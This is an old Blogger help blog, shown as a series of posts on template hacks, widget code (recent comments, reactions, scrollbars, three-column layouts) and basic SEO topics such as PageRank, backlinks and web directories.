STEP V - Now replace the above code with this code -

<a expr:dir='data:blog.languageDirection' expr:href='data:label.url + "?max-results=2"'>
<data:label.name/>
<span dir='ltr'>(<data:label.count/>)</span>
</a>
</b:if>

The digit in red denotes the number of posts that are to be shown on the labels page,you can enter number of your choice.

Now Save the Template.

That's it you have successfully added the Blogger hack for showing only specific number of posts in Labels page for Blogger.

Google PageRank explained in a simple way.

2009-07-26T10:15:00.061-07:00

Everybody using internet is aware of the power of Google.Google is everywhere whether its search engine, email, social networking, online marketing, blogging etc.

But most important of all these is it's search engine which share approximately 60% of all searches made all over the world.This explains the importance of rank SERP (Search Engine Results Page) fo Google.The higher the ranking on SERP the more free visitors you will get from Google.

While displaying the results for a particular query Google takes into consideration a lot of factors.

Two most impotant factors being (source - Google's Corporate Information) -

PageRank Technology
Hypertext-Matching Analysis.

Now here comes the importance of Google PageRank.

What is Google PageRank?

According to Google - PageRank is Google's view of importance of a webpage. Pagerank is given out of 10.

Thus a webpage with a higher pagerank will be more important in view of Google as compared to the one with lower pagerank. Hence, a webpage with a better pagerank will get higher position in the SERP.
e.g. A webpage with Google PageRank of 5/10 will be more important and hence placed higher in Google SERP than the webpage with Google PageRank of 3/10.

How does Google determines a PageRank for any webpage ?

Lets see what Google says -

PageRank relies on the uniquely democratic nature of the web by using its vast link structure as an indicator of an individual page's value. In essence, Google interprets a link from page A to page B as a vote, by page A, for page B. But, Google looks at more than the sheer volume of votes, or links a page receives; it also analyzes the page that casts the vote. Votes cast by pages that are themselves "important" weigh more heavily and help to make other pages "important".

So Google takes into account the backlinks each webpage gets from different other webpages. Each backlink a webpage gets is considered as a vote by Google in the favour that webpage. But at the same time Google also analyzes the webpage from which a baclink is given.

Let's examine the following figure for some better understanding -

In the above figure A,B,C,D,E and F are different webpages. Here you can see that page C has got a higher pagerank than page E,even though it have fewer links as compared to page E. It's because of the importance of the page from which page C is receiving a link and also the number of outbound links from that page. In the above case as you can see page B has got most importance and is having only one outbound link to page C, so upto 90% of its PageRank is carried to page C.

In the essence, a page with higher baklinks from quality pages (those with higher pagerank) will have a better pagerank.

Thus, improving your Google PageRank helps you by getting you more visitors through search engines and ultimately can result into a better revenue from your website/blog.

List of useful Blogger Widgets

2009-07-26T10:15:00.059-07:00

Here a complete list of Widgets available on this blog which you can use modify your Blogger powered blog.

Hope you find these widgets useful.

Feel free to comment if you have any difficulty installing these widgets.

How to add the New Reactions feature to Blogger blog ?

2009-07-26T10:15:00.057-07:00

These days Blogger is adding many new features to their blogs.One of the most recent being the cool Reactions feature.

It looks like this -

This can be very useful to know immediately what your readers think about the post.

Here is the ste-by-step guide on how to add this Reactions Feature to your blog -

STEP I - Login to - Blogger in Draft.

STEP II - Goto Layout.

STEP III - Now click the "Edit" option in "Blog Posts". It will look like this -

STEP IV - Select the checkbox in front of "Reactions". You can add any other text instead of "Reactions" if you want in the box, and also change the text of the options in your reactions.

STEP V - Now save that and check your blog.If you don't see the reactions in your post's footer you will have to add some code.

STEP VI - Goto > Dashboard > Layout > Edit HTML > Expand Widget Templates.

STEP VII - Search for this code -

<p class='post-footer-line post-footer-line-1'>

STEP VIII - Just below this code add this code -

<span class='reaction-buttons'>

<b:if cond='data:top.showReactions'>

<table border='0' cellpadding='0' width='100%'><tr>

<td valign='center'><span class='reactions-label'>

<data:top.reactionsLabel/></span>

</td>

<td><iframe allowtransparency='true' class='reactions-iframe' expr:src='data:post.reactionsUrl' frameborder='0' name='reactions' scrolling='no'/></td>

</tr></table>

</b:if>

</span>

Now click "Save Template" and check your blog,it will show the new Reactions Feature at the end of post.

How to increase Google PageRank of your Blogger Blog ?

2009-07-26T10:15:00.055-07:00

You would like to read 'What is Google PageRank?' first.

Now that you know something about what Google PageRank is, here are some tips for you to increase PageRank of your Blogger blog.

After reading the article about Google PageRank ,you would have understood that you have to increase the number of quality links to your blog. But at the same time you sholud try avoiding linking to sites that are not related to yours.(e.g your Make Money Online blog linking to any games or any music blog will affect adversely your Google Pagerank.)

So, here are some popular tactics to increase your Google PageRank -

1. Reciprocal Link Exchange -

It is the most popular tactic used by the webmasters to increase the pagerank of their sites. Here you exchange links with other blogs of related niche i.e. you place link to a blog on your blog and in turn ask that blog-owner to place your link on his site.

It can be of two types -

Two way link exchange or
Three way link exchange

In two way link exchange, you link to the same blog where your link is placed. While in three way link exchange, you link to one blog and in turn the owner places your link on some other blog but not on the same blog.

Precautions -

The most important one - exchange links with related blogs only.
Avoid excessive link exchange. Google is strictly against excessive reciprocal link exchange.

2. One-way BackLinks -

It is getting backlinks to your blog without linking that blog in turn. But question is 'How to get quality one-way backlinks?'.

The simplest answer is 'Write quality content', and if it's really good other bloggers will link back to your blog getting you one-way backlinks.

The other methods by which you can get quality backlinks are -

I - Top Commentator - Search for blogs with 'Top Commentator' plugin installed(Google for "Top Commentators"). And make some related quality comments on their blog and get placed on thier 'Top Commentator' list.(Usually the links in the "top commentators' list are 'dofollow' in most blogs.)

II - Comment on Dofollow blogs - Recently there has been some revolution in blogging and many bloggers have removed the 'nofollow' attribute from their comments,in order to encourage comments on their blog.Now you get a backlink whenever you comment on such 'dofolow' blogs with your url.
But the tough part is to find the 'dofollow' blogs of related niche.You can Google for terms like "U Comment I Follow',"Dofollow blogs list' etc.

III - Posting on Forums - This one is also very effective.Many forums allow signatures at end of post of user,thus getting you a backlink.But you should take precaution to post on forums related to your niche only,,otherwise it won't help you.

IV - Submitting to Directories - This can get you some backlinks,but it's very time-consuming.Also your links are placed very deep not giving you much benefit. The only directory I would recommend is DMOZ, but it's very difficult to get yourself listed at DMOZ.

V - Submitting to Social Bookmarking Sites - This one I really missed,thanks 'FADI' for reminding me about it.What you can do is add this social bookmarking buttons/script to your blog, then submit your posts to these bookmarking sites yourself or your readers can submit it. This will get your blog some links,but all these links will be placed deep, thus passing very less pagerank to your blog. But I think something is better than nothing and also these social bookmarking sites can get you some visitors as well.

At present I am remembering of these methods only,I'll update this post if I remember any more.

Also if you would like to add any method or suggest any coorection , plz leave a comment and I'll make suitable changes in post.

How to add a Recent Comments Widget to Blogger blog ?

2009-07-26T10:15:00.053-07:00

It is one of the most commonly used widget alongwith "Recent Posts".

There are two methods by which you can add this 'Recent Comments' widget to your Blogger blog.

Method I - Adding it as a feed.

Here's step-by-step guide -

Step I - Goto > Dashboard > Settings > Site Feed.

Step II - Now here 'Switch to: Advanced mode', change all settings to full as shown below.

Now save the settings.

Step III - Goto > Layout > Add a Gadget > Feed.

Step IV - In the 'feed url' enter this -

'http://free-blogger-help.blogspot.com/feeds/comments/default'

after changing the value in green to your Blog URL.

By this method you show maximum of 5 recent comments.

You can show more comments by following method.

Method II - Adding it as a javascript.

Step I - Goto > Dashboard > Layout > Add a Gadget > HTML/Javascript.

Step II - Copy the following code -

<ul><script style="text/javascript">
function showrecentcomments(json) {
for (var i = 0; i <10; i++) {
var entry = json.feed.entry[i];
var ctlink;

if (i == json.feed.entry.length) break;
for (var k = 0; k < entry.link.length; k++) {
if (entry.link[k].rel == 'alternate') {
ctlink = entry.link[k].href;
break;
}
}
ctlink = ctlink.replace("#", "#comment-");
var ptlink = ctlink.split("#");
ptlink = ptlink[0];
var txtlink = ptlink.split("/");
txtlink = txtlink[5];
txtlink = txtlink.split(".html");
txtlink = txtlink[0];
var pttitle = txtlink.replace(/-/g," ");
pttitle = pttitle.link(ptlink);
if ("content" in entry) {
var comment = entry.content.$t;}
else
if ("summary" in entry) {
var comment = entry.summary.$t;}
else var comment = "";
var re = /<S[^>]*>/g;
comment = comment.replace(re, "");

document.write('<li>');
document.write('<a href="' + ctlink + '">' + entry.author[0].name.$t + '</a>');
document.write(' on ' + pttitle);
document.write('<br/>');
if (comment.length < 100) {
document.write(comment);
}
else
{
comment = comment.substring(0, 100);
var quoteEnd = comment.lastIndexOf(" ");
comment = comment.substring(0, quoteEnd);
document.write(comment + '...<a href="' + ctlink + '">(more)</a>');
}
}
document.write('</li>');
document.write('<div style="font-size:75%;text-align:center"><a href="http://free-blogger-help.blogspot.com/">Widgets by Free Blogger Help</a></div>');
}
</script>
<script src="http://free-blogger-help.blogspot.com/feeds/comments/default?alt=json-in-script&callback=showrecentcomments">
</script></ul>
<noscript>You need to enable JavaScript to read this.</noscript>

Now in the above code,I've highlighted three things you can modify -

1. Most important, you should enter your blog's url in the pink part.
2. Secondly , I've made the default number of comments to 10, you can edit the red part and enter your own value.
3. Thirdly, it's for the length of comment which limited to 100 characters, you can any value of your choice in blue part.

After you have changed the values, save the widget and check your blog.

If you have any difficulties, just leave a comment.

My 50th post - some acheivements........

2009-07-26T10:15:00.051-07:00

I made first post at this blog on 8th July 2008, and now on 24th August 2008 (after 47 days), I am writing the 50th post for this blog. All these days have really been busy. I appeared for exams, also transferred 1 site to new host (1 is yet to be transferred) , but stiil I managed to post here regularly ( in addition to building links for this blog).

So lets see, where is my blog after 50 posts (and 47 days).

1. Backlinks -

First of all lets talk about backlinks.I did some serious link building by submitting to directories and some social bookmarking sites, but my main weapon was 'to comment on do-follow blogs' and also to get listed on blogs with 'Top Commentators' plugin.

So after 47 days of link-bulding work, my blog has total of 76 links now(as per Google Webmaters Tools). I think thats not bad at all.

2. Search Engine Ranking -

Now lets see where is my blog on search engines (Google only). Here I am taking reference of Google Analytics.

I got total 257 visits from Google, of which maximum(5) were for the keyword - 'horizontal menu for blogger'. When I searched for this keyword I was really surprised to see my blog placed at 2nd position.

Second maximum (4) were for keyword - 'passion duo red blogger template' and I was more surprised to see my blog placed at number one position. I know the keyword is not that competitive, but still I was not expecting my blog to be placed so higher for any keyword.

3. Traffic -

After 47 days, this blog is getting on an average of 30-40 visitors and 70-90 pageviews per day.

4. Earnings -

Now lets talk about how much I earned from this blog. As you can see, currently I am using Google Adsense ads only.

In the month of July I made only $0.02 from this blog on Adsense.I was not expecting this much also, as I am in this Blogging thing since 1 and 1/2 year, and I know how long it takes to earn good from Adsense.

For August, there's some improvement. Till now, I've made $2.83 from this blog.

5. RSS readers -

As you all can see on my sidebar, there's a feed-count chicklet. It shows 9 readers, which is not bad after 50 posts.

That's all with this 50th post. Let's see where is this blog at 100th post.

How to add Recent Posts widget to Blogger blog ?

2009-07-26T10:15:00.049-07:00

A common widget seen on mamy blogs alongwith 'Recent Comments' widget is 'Recent Posts' widget.

Again there are two methods by which you can add this 'Recnt Posts' widget to your Blogger blog.

Method I - Adding it as a feed.

Here's step-by-step guide -

Step I - Goto > Dashboard > Settings > Site Feed.

Step II - Now here 'Switch to: Advanced mode', change all settings to full as shown below.

Now save the settings.

Step III - Goto > Layout > Add a Gadget > Feed.

Step IV - In the 'feed url' enter this -

'http://free-blogger-help.blogspot.com/feeds/posts/default'

after changing the value in green to your Blog URL.

By this method you show maximum of 5 recent posts .

What is Entrecard ? How does it help ?

2009-07-26T10:15:00.047-07:00

Entrecard is basically a Blogging network, encouraging bloggers to check out other's blogs.

Here you visit other Entrecard user's Blog and drop your card, which shows the blog owner that you visited his blog. Similarly, if other bloggers visit your blog and drop their card, you get to know that they visited your blog.

It is really a very useful way to get good early traffic to your new blog. We all know that how frustrating it can be to see low traffic figures for our new blog instead of writing some good content. As you can see, I am also using Entrecard in my sidebar.

They also have a currency at Entrecard - Entrecard Credits (EC).

You get 1 EC for each card you drop at other's blog.You also get EC for showing other Entrecard user's adverts using 'Entrecard Widget'. These EC for adverts depends upon how long is the waiting list for advertising on your blog and also on your blog's PR and Alexa Rank.

Now by collecting these EC's you can buy the advert's on other user's blogs and get some traffic for your blog.

And if you cant wait for the EC's to accumulate slowly, you can buy more EC's at following rates -

1000 Entrecard Credits - USD$9.50
5000 Entrecard Credits - USD$47.50
10000 Entrecard Credits - USD$95.00

So, in the essence, if your blog is new and you want some good early traffic, you should really give a try to Entrecard.

How to add scrollbar to Blogger widgets ?

2009-07-26T10:15:00.045-07:00

Many times we think how great it will be if we can add scrollbar to some widgets. Scrollbar can be really useful for any lists you want to show on your blog e.g. link-list, labels list etc.

Adding scrollbar to widgets reduces the total height (and also width if you want) of the widget, but still users can scroll down and view all the content in the widget. When the content in the widget exceeds certain width/height limit, there will be a horizontal/vertical scrollbar enabling users to view all the content.

Lets see how we can do this -

A. Add Scrollbar for all widgets (in both sidebars) -

STEP I - Goto > Dashboard > Layout > Edit HTML.

STEP II - Add this code in your template -

.sidebar .widget{
height:200px;
overflow:auto;
}

You can place this code anywhere above . But I will recommend you to place it below the sidebar section in your template for easy reference.

B . Add Scrollbar for widgets in one of the sidebars -

First of all you will have to find out, what's name of your sidebar where you want to add widget scrollbar e.g. lsidebar, rsidebar, newsidebar etc.(you can find this out by searching for 'sidebar' using 'Ctrl+F')

Now depending upon the name of your sidebar add this code instead of above -

#newsidebar .widget{
height:200px;
overflow:auto;
}

where 'newsidebar' is the name of your sidebar.(you should put your sidebar's name instead of 'newsidebar' in above code.)

I will recommend you to please PREVIEW your template before saving the changes.

C . Add Scrollbar for only one widget -

Every widget you add in your sidebar is alotted certain specific ID . Now you can find out the ID for your widget by looking for similar looking code in your template -

<div id='sidebar-wrapper'>
<b:section class='sidebar' id='sidebar' preferred='yes'>
<b:widget id='LinkList1' locked='false' title='General' type='LinkList'/>
<b:widget id='HTML1' locked='false' title='' type='HTML'/>
<b:widget id='Label1' locked='false' title='Label' type='Label'/>
</b:section>
</div>

Here you can see I have highlighted the ID for widgets in bold green.

After finding your widget's ID, add this code -

#Label1{
height:200px;
overflow:auto;
}

Replacing 'Label1 ' with your widget ID.

Now save the changes and check your blog.

What is Alexa rank ? How accurate is it ?

2009-07-26T10:15:00.043-07:00

It is a subsidiary company of Amazon.com which ranks different websites based on the traffic for that site.

The Alexa rank is taken as standard on many advertising networks for accepting new publishers e.g. Text Link Ads, Pay Per Post etc.

How "Accurate" is Alexa rank ?

No lets first see how Alexa works and how does it ranks sites.

Alexa ranks websites based on the visits by internet users using Alexa Toolbar to any site. The important point is Alexa does not take into account the visits by users not using Alexa Toolbar.

I just compared two of my sites, one site was related to Bollywood and other related to Blogging and Webmaster resources. As per Google Analytics daily visitors for my Bollywood related site was 2000 and that for Blogging and Webmaster resources related site was 1300. But the Alexa rank for my Bollywood site was >100,000 and that for Blogging related site was between 80,000-85,000.

Now lets see why is it like this - it is less likely that visitors for Bollywood site having Alexa Toolbar installed as compared to visitors for Blogging site who are mostly webmasters and having Alexa Toolbar installed. So although my Bollywood site get more visitors but still have less Alexa rank as compared to Blogging site.

Thus you can see how 'Accurate' is Alexa rank.

One more fact about Alexa tooolbar - it is considered as a spyware, adware software by many Antivirus programmes. McAfee detects Alexa toolbar as an adware, 'Potentially Unwanted Programme'.

Many other security softwares also detect Alexa Toolbar as an adware and spyware.

But still many sites consider Alexa rank as standard.

Content is the King - concentrate on it more.

2009-07-26T10:15:00.041-07:00

These days there have been flood of blogs and sites going online with sole objective to make money online. They do everything to promote their sites and get some traffic. They buy traffic, SEO plans, SEO friendly templates and so on...........

But in the process,they forget to improve the content of their site which is most important. The content is the most important thing in any website. But for this content to be useful, it should be unique and not copied as it is from other sites.

Having quality content not only gets you more visitors through search engines, but also helps you get loyal readers which is very important. Unless and until you have some useful content for a visitor why shall he visit your site again.

This not only helps you improve your sites traffic rankings, but also helps you get some backlinks for your site. If your content is really good and unique, then others may put your article on their and give you a baclink in return. And again getting backlinks will help you get higher rankings in search engines and thus more traffic.

Another thing is always write the content related to your site. Like if you have game's blog, you should not write on topic like 'mesothelioma' just because it is high paying keyword. This is most irritating for a visitor. So always write targetted articles.

To write a good article, you yourself have to read articles mon other sites. You can put similar articles on your site after rewriting them, so that they look new.

There are also some online softwares like Content Assistant or other tools that can help you generate quality articles on topics you don't know. By using these internet marketing tools, you will be able to save time and effort while concentrating on developing your new products or create your new campaign, etc. Though I can't recommend them, because I myself don't use such services.

In the end I can only recommend that always do some research before posting any article on your blog and update your blog regularly at least once in a week.

Just remember - "Content is King".

Dose CPM ad network for websites having low traffic works ?

2009-07-26T10:15:00.039-07:00

It is difficult to search CPM ad network for websites having low traffic.

For those sites which have low traffic , it is good to look out for newest CPM network . These new networks requires low traffics.

e.g.

1. ADSDAQ

ADSDAQ Online Advertising Exchange from ContextWeb

2. Ad Dynamix

AdDynamix

You can look for newest CPM ad networks.

List of some good web directories for your blog website

2009-07-26T10:15:00.037-07:00

Here I am giving list of directories for blog website with good PR .
It will really work.

Technorati

boingboing

globeofblogs

icerocket

Wordpress

Blogged

LSBlogs

BlogHop

blogcatalog

WeBlogALot

These all are free and have high page rank.

You can also try following directories-

http://www.ibiddir.com/blogs/
http://www.mishre.com/Blogs/
http://www.directorypro.biz/Internet/Blogs/
http://www.bidyourweb.com/Blogs/

Main article @ www.webmasters-forum.org/

You can also suggest more good web directories

Here are some fast technique for indexing a new site in google

2009-07-26T10:15:00.035-07:00

One of the easy and successful method to get indexed in google is Social Bookmarking which can give results in hours. You can also do to put the link of your site to a site which already indexed. Promoting backlinks and google add url also helps.

You can also try as to join forums and make some valuable threads / posts and that will help you. You can submit your posts / aricles to digg.com and it helps in faster indexing. Also submit Your Site in More and More Directory and Social Book marking sites like Delicious , Stumble etc.

Google webmaster tool can also help.

How to Add Adsense ads in Google search results ?

2009-07-26T10:15:00.033-07:00

When you search on my site , a new page opens having search results , Plus it also have Adsense ads . Here I will explain how to Add Adsense ads in Google search results ?

1. Login to Adsense > Get Ads > Adsense for Search.

2.In Search type option choose Only sites I Select.

3.In Selected Sites option add URL of your site. In optional keywords, add some keywords that can describe your site. Now go to bottom and click Continue.

4.Now choose search box type using Look and Feel. You can also modify text box leanth. Click Continue.

5.Then from Opening of search results page choose open results on Google in a new window. And Click on Continue.

6.In Name your Search Engine option give any attractive name related to your site. Click on Submit and get Code.

6.When you got the code, Copy it.

7.Sign in Blogger > Layout > Page Elements > Add a Gadget > HTML / Java Script . Now Paste that adsense code here and Save . Refresh your website and check it for search.

How deep linking works and list of some deep link directories.

2009-07-26T10:15:00.031-07:00

What is Deep link ?

Deep linking is , making a hyperlink to a webpage or image on another website . other than the homepage of that website. Following is the example-

http://free-blogger-help.blogspot.com/2008/11/how-to-add-adsense-ads-in-google-search.html

Above is the deep links of the post How to Add Adsense ads in Google search results ? from this site.

How deep linking works ?

In detail, deep linking is the process of submitting inner pages of a website to other sites such as directories so that you can improve search engine rankings .
Here inner pages means that pages other than the Home Page .

e.g.

Home Page is http://free-blogger-help.blogspot.com/
Inner page is http://free-blogger-help.blogspot.com/2008/10/dose-cpm-ad-network-for-websites-having.html

List of some deep link directories.

To get benefit from this you have to submit these inner pages to the deep link directories .

So here is the list you can use-

Deep Links Directory List - Directory Critic
MingleOn Web Directory*:: MingleOn.org
Alive Web Directory - Internet Site Resources
Uncover the Net - Web Directory & Search Engine
AllShort Web Directory*
Latest Directory
100 Web Directories

Some of above directories may be paid or free.

---------------------------------------

Source - www.webmasters-forum.org

iBusiness Promoter : a quick review

2009-07-26T10:15:00.029-07:00

Some of my webmaster friends asks for iBusiness Promoter and its efficiency .
So here is a quick and easy to understand review of iBusiness Promoter.

iBusiness Promoter is a SEO expert , who provides various tools and by using these tools your website can get position in top 10 search results for a given keyword. It also has money back guaranty. You can try the free version first (but it do not have the all tools)

They offer step by step guide of tasks and tools to complete those tasks and this helps in obtaining good search ranking and improve your websites popularity.

Here are advantages of iBusiness Promoter -

They analyze and optimize your website for keywords.
They helps in search engine submission and also in link building.
They also offer some unique tools like broken link checker, keyword density analyzer, search engine spider checker and so on.
They offer help in directory submission.
They help to improve your website's popularity.
It gives money back guaranty.

Disadvantages of iBusiness Promoter -

I did not find any.

Final verdict

Try iBusiness Promoter once as it has money back guaranty

Get your missing / replaced favicon back !

2009-07-26T10:15:00.027-07:00

Hey guys you have noticed that your blog/websites favicon is replaced by blogger favicon. You can get it back easily .

What you have to do is to move your codes for the favicon from it original position in the template to just after ]]> and just before ,. Look preview and save .

This could look like as follows

]]></b:skin>


<link href='http://www.iconj.com/favicon.php?user=manature' rel='shortcut icon' type='image/x-icon'/>
<link href='http://www.iconj.com/favicon2.php?user=manature' rel='icon' type='image/gif'/>


</head>

<body>

.......

Change favicon for old classic Blogger template
If you are using the old classic Blogger template instead of the New Blogger xml template, go to blogger.com (Dashboard) > template > Edit HTML and look for

<$BlogMetaData$>

and paste the favicon codes immediately after <$BlogMetaData$>

w.bloggar review and download here

2009-07-26T10:15:00.025-07:00

w.bloggar is a tool that can edit posts and template of blogger.

This tool can be use to post, publish, edit and delete text and iamges from various blog platforms like Blogger, BigBlogTool, MovableType, Nucleus, b2, and BlogWorks XML, or to any other blog tool or service that can support Blogger API system.

It could be one of the useful tool for blogger's. W. Bloggar has some features and resources that the some browser based blog editors do not have.

Download w.bloggar here from one of the link.

W.bloggar 3.03 download .com

W.bloggar 3.03 official site

.............................................

Source: http://www.webmasters-forum.org

Get HTML Color Code Values

2009-07-26T10:15:00.023-07:00

Following are the links for HTML Color Code Values . You can copy these values of desired color and paste it where you want.

LINK 1

COLOR-VALUE

LINK 2

html-color-codes

LINK 3

216 Web Safe Colors
Hexadecimal RGB Values

Go to any of the above sites and you will find various color codes for your site.

How to change background color of blogger template?

2009-07-26T10:15:00.021-07:00

Hi guys, you can easily change background color of blogger. For this you have to edit the blogger template.

Here are those easy steps -

1. Login to Blogger > Layout > Edit HTML

Now look for this

body {
background:$bgcolor;

You can find HTML color code value here

Say you have selected this color #66ffcc

Now change the above code to

body {
background-color:#66ffcc;

To change color of sidebar add the color code under the relevant sidebar heading

#sidebar-wrapper {
background-color:#66ffcc;

Change background color of main post column

#main-wrapper {
background-color:#66ffcc;

After desired changes save the template.

How to make your footer 3 column?

2009-07-26T10:15:00.019-07:00

You may have noticed a 3 column footer in many blogs, it's been quite popular these days.

It's quite easy to add a 3 column footer to your blog just follow these steps -

STEP I - First and foremost backup your template.This is a very essential step, in case anything goes wrong, you will be able to restore your previous template.

STEP II - Now find this code (you can use Ctrl+F in Mozilla Firefox)-

<div id=’footer-wrapper’>
<b:section class=’footer’ id=’footer’/>
</div>

Note: Some templates may have only "footer" instead of "footer-wrapper".

STEP III - Replace the red code with following code -

<div id='footer-column-container'>

<div id='footer2' style='width: 30%; float: left; margin:0; text-align: left;'>

<b:section class='footer-column' id='col1' preferred='yes' style='float:left;'/>
</div>

<div id='footer3' style='width: 40%; float: left; margin:0; text-align: left;'>
<b:section class='footer-column' id='col2' preferred='yes' style='float:left;'/>
</div>

<div id='footer4' style='width: 30%; float: right; margin:0; text-align: left;'>

<b:section class='footer-column' id='col3' preferred='yes' style='float:right;'/>
</div>

<div style='clear:both;'/>
<p>
<hr align='center' color='#5d5d54' width='90%'/></p>
<div id='footer-bottom' style='text-align: center; padding: 10px; text-transform: lowercase;'>

<b:section class='footer' id='col-bottom' preferred='yes'>
<b:widget id='Text2' locked='false' title='' type='Text'/>
</b:section>

</div>
<div style='clear:both;'/>

</div>

Now save the template.

STEP IV - Now find this tag -

]]></b:skin>

Place this code before the above tag -

#footer-column-container {
clear:both;
}

.footer-column {
padding: 10px;

}

Save the template.

STEP V - Now go to your "Page Elements" page, you will find three columns in your footer.

You are done now, add any Gadgets you wanna add to your footer columns and enjoy :-)

If having any difficulty in implementing these steps, just leave a comment here.

How to fix bx-errors while uploading templates?

2009-07-26T10:15:00.017-07:00

Many of us may have experienced "bx-erros" while uploading new templates for your blog. This has been quite frequent these days. Some common codes that the bloggers received uploading a new template are -

bx-bliced
bX-ev85ll
bX-39cc9q
bX-y6cz0v
bX-982020

When searched for the reason of this, I got this explanation from one of the Blogger employee -

Recently we changed the way our template editor accepts certain third party code, so that it is now less tolerant of certain templates. We did this because we had seen a lot of data corruption due to 'bad templates,' and we are trying to stave off some of these issues pre-emptively.

Now we realize that this has caused some inconvenience to folks, so we are re-thinking our decision and will post an update on that shortly.

Here are few steps that will help you getting these "bx-erros" while uploading new templates -

First of all, try to upload your new template in the Layout>Edit HTML section of your dashboard. Not all templates have been affected by this issue, so it is advisable to check before attempting to edit your template significantly. If you do receive a bX-error code when trying to upload your template, you should proceed to step 2.
If your new template is an XML file (with the .xml entension), browse to where this is located on your computer and right click the file. Choose to open with Notepad (or your favorite basic text editor). If your template is contained within a text file (for you to copy and paste into the template editor), simply open this with your text editor.
Search for every instance of b:widget id= in your template, for example:
- b:widget id='Header1'
- b:widget id='Blog1'
- b:widget id='Label1'
- b:widget id='HTML1'
Replace each of these IDs with the next number up. For example, Header1 should become Header2; Blog1 should become Blog1, HTML3 should become HTML4 and so on.
Once you have changed each and every instance of widget id to a different number, you should save the template under a slightly different file name (to be aware of your altered file). If this is an XML file, be sure to save with the XML extension.
Now you have made these changes, attempt to upload your file again in the Layout>Edit HTML section of your Blogger dashboard. Now you should not receive the error code and will be able to upload your template.

If even after following these steps you are still getting the error, remove all the cookies and internet files from your web-browser and restart your web-browser, or you can use another web-browser. You can also use "CCleaner" which is a freeware for removing all the cookies and internet files.

Hope this will help you. If you are still having any difficulty just leave a comment here.

Create your own THREE column Rounders 2 Template for blogger.

2009-07-26T10:15:00.015-07:00

Rounders 2 Template is a 2 column template. But you can make it of 3 column.
It will look like -

THREE column Rounders 2 Template

THREE column Rounders 2 Template Blue

Lets do that:

Apply Rounders 2 as your blogger template. Now go to Template >> Edit HTML. Look for following code

#outer-wrapper {
width:740px;
margin:0 auto;
text-align:left;
font: $bodyFont;
}
#main-wrap1 {
width:485px;
float:left;
background:$mainBgColor url("http://www.blogblog.com/rounders2/corners_main_bot.gif") no-repeat left bottom;
margin:15px 0 0;
padding:0 0 10px;
color:$mainTextColor;
font-size:97%;
line-height:1.5em;
word-wrap: break-word; /* fix for long text breaking sidebar float in IE */
overflow: hidden; /* fix for long non-text content breaking IE sidebar float */
}
#main-wrap2 {
float:left;
width:100%;
background:url("http://www.blogblog.com/rounders2/corners_main_top.gif") no-repeat left top;
padding:10px 0 0;
}
#main {
background:url("http://www.blogblog.com/rounders2/rails_main.gif") repeat-y;
padding:0;
}
#sidebar-wrap {
width:240px;
float:right;
margin:15px 0 0;
font-size:97%;
line-height:1.5em;
word-wrap: break-word; /* fix for long text breaking sidebar float in IE */
overflow: hidden; /* fix for long non-text content breaking IE sidebar float */
}

Rounders 2 hase 3 wrappers as following

() outer-wrapper i.e.the entire blog
() main-wrapper i.e. the main Blog Posts
() sidebar-wraper i.e. the right sidebar

Now we will create another sidebar i.e. left sidebar.

So change the above code to the following. Changes are made in Green.

#outer-wrapper {
width:995px;
margin:0 auto;
text-align:left;
font: $bodyFont;
}
#main-wrap1 {
width:485px;
float:left;
background:$mainBgColor url("http://www.blogblog.com/rounders2/corners_main_bot.gif") no-repeat left bottom;
margin:15px 0 0 15px;
padding:0 0 10px;
color:$mainTextColor;
font-size:97%;
line-height:1.5em;
word-wrap: break-word; /* fix for long text breaking sidebar float in IE */
overflow: hidden; /* fix for long non-text content breaking IE sidebar float */
}
#main-wrap2 {
float:left;
width:100%;
background:url("http://www.blogblog.com/rounders2/corners_main_top.gif") no-repeat left top;
padding:10px 0 0;
}
#main {
background:url("http://www.blogblog.com/rounders2/rails_main.gif") repeat-y;
padding:0;
}
#sidebar-wrap {
width:240px;
float:right;
margin:15px 0 0;
font-size:97%;
line-height:1.5em;
word-wrap: break-word; /* fix for long text breaking sidebar float in IE */
overflow: hidden; /* fix for long non-text content breaking IE sidebar float */
}
#newsidebar-wrap {
width:240px;
float:left;
margin:15px 0 0;
font-size:97%;
line-height:1.5em;
word-wrap: break-word; /* fix for long text breaking sidebar float in IE */
overflow: hidden; /* fix for long non-text content breaking IE sidebar float */
}
#newsidebar-wrap1 {
background:$mainBgColor url("http://www.blogblog.com/rounders2/corners_side_top.gif") no-repeat left top;
margin:0 0 15px;
padding:10px 0 0;
color: $mainTextColor;
}

#newsidebar-wrap2 {
background:url("http://www.blogblog.com/rounders2/corners_side_bot.gif") no-repeat left bottom;
padding:10px 0px 8px;
}

#newsidebar h2 {
color: $postTitleColor;
border-bottom: 1px dotted $postTitleColor;
}

Now we have to make changes in the Header and the Footer.

Search for

/* Blog Header

Change following code

#header-wrapper {
background:$titleBgColor
url("http://www.blogblog.com/rounders2/corners_cap_top.gif") no-repeat left top;

To this code

#header-wrapper {
background:$titleBgColor
url("http://www.blogpulp.com/imagehost/images/44575234.gif") no-repeat left top;

And now look for below code

#header {
background:url("http://www.blogblog.com/rounders2/corners_cap_bot.gif") no-repeat left bottom;

And change to following code

#header {
background:url("http://www.blogpulp.com/imagehost/images/346852006.gif") no-repeat left bottom;

Now it's time for Footer

Search for

/* Footer

Change following code

#footer-wrap2 {
background:$titleBgColor
url("http://www.blogblog.com/rounders2/corners_cap_top.gif") no-repeat left top;

to below code

#footer-wrap2 {
background:$titleBgColor
url("http://www.blogpulp.com/imagehost/images/44575234.gif") no-repeat left top;

Also change

#footer {
background:url("http://www.blogblog.com/rounders2/corners_cap_bot.gif") no-repeat left bottom;

#footer {
background:url("http://www.blogpulp.com/imagehost/images/346852006.gif") no-repeat left bottom;

We have to now change layout editor as we have created new sidebar.

Search for following code

/** Page structure tweaks for layout editor wireframe */
body#layout #main-wrap1,
body#layout #sidebar-wrap,
body#layout #header-wrapper {
margin-top: 0;
}

body#layout #header, body#layout #header-wrapper,
body#layout #outer-wrapper {
margin-left:0,
margin-right: 0;
padding: 0;
}

body#layout #outer-wrapper {
width: 730px;
}

body#layout #footer-wrap1 {
padding-top: 0;
}

Replace above code with following

/** Page structure tweaks for layout editor wireframe */
body#layout #outer-wrapper,
body#layout #header-wrapper,
body#layout #footer-wrap1 {
width: 750px;
}
body#layout #main-wrap1,
body#layout .main .widget,
body#layout .main .Blog {
width: 400px;
}
body#layout #newsidebar-wrap {
width: 150px;
margin-top: 5px;
}
body#layout #sidebar-wrap {
width: 150px;
margin-left: 25px;
}

Now scroll down and look for following code

<div id='main-wrap1'><div id='main-wrap2'>
